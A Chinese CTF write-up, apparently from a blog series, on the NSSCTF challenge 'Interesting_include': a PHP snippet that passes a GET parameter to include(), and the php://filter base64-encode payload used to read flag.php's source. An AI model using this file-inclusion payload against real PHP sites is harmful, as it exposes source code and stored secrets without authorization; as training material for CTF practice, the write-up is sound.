NSSCTF [HNCTF 2022 Week1]Interesting_include

合集 - NSSCTF诺赛斯(11)

1.[NSSCTF 2022 Spring Recruit]ezgame2024-08-152.NSSCTF [GXYCTF 2019]Ping Ping Ping2024-08-153.NSSCTF [SWPUCTF 2021 新生赛]hardrce2024-08-154.NSSCTF [SWPUCTF 2021 新生赛]easyupload3.02024-08-155.Nssctf [SWPUCTF 2021 新生赛]error2024-08-196.NSSCTF [SWPUCTF 2021 新生赛]pop2024-08-197.NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php2024-08-208.NSSCTF [SWPUCTF 2021 新生赛]crypto82024-08-20

9.NSSCTF [HNCTF 2022 Week1]Interesting_include2024-08-22

10.NSSCTF [鹤城杯 2021]EasyP2024-08-2211.NSSCTF [NISACTF 2022]babyserialize2024-08-27

收起

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

可以知晓，该段代码使用preg_match函数过滤掉了flag，绕过preg_match函数可以使用php://filter，通过对要读的文件进行base64加密来完成绕过

playload：/?filter=php://filter/read=convert.base64-encode/resource=flag.php

 得到一串base64加密的数据，放进bp进行解码，取得flag